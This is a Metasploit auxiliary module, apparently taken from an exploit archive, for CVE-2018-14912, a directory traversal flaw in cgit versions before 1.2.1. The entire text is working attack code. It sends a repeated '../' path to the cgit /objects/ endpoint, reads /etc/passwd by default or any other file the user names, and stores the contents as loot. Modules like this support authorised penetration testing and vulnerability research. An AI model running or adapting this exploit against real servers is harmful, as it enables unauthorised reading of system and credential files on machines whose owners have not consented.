cgit Directory Traversal

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'cgit Directory Traversal',  
'Description' => %q{  
This module exploits a directory traversal vulnerability which  
exists in cgit < 1.2.1 cgit_clone_objects(), reachable when the  
configuration flag enable-http-clone is set to 1 (default).  
},  
'References' =>  
[  
['CVE', '2018-14912'],  
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1627'],  
['EDB', '45148']  
],  
'Author' =>  
[  
'Google Project Zero', # Vulnerability discovery  
'Dhiraj Mishra' # Metasploit module  
],  
'DisclosureDate' => 'Aug 03 2018',  
'License' => MSF_LICENSE  
))  
  
register_options(  
[  
OptString.new('FILEPATH', [true, "The path to the file to read", '/etc/passwd']),  
OptString.new('TARGETURI', [true, "The base URI path of the cgit install", '/cgit/']),  
OptString.new('REPO', [true, "Git repository on the remote server", '']),  
OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 10 ])  
])  
end  
  
def run_host(ip)  
filename = datastore['FILEPATH']  
traversal = "../" * datastore['DEPTH'] << filename  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, datastore['REPO'], '/objects/'),  
'vars_get' => {'path' => traversal}  
})  
  
unless res && res.code == 200  
print_error('Nothing was downloaded')  
return  
end  
  
vprint_good("#{peer} - \n#{res.body}")  
path = store_loot(  
'cgit.traversal',  
'text/plain',  
ip,  
res.body,  
filename  
)  
print_good("File saved in: #{path}")  
end  
end  
  
`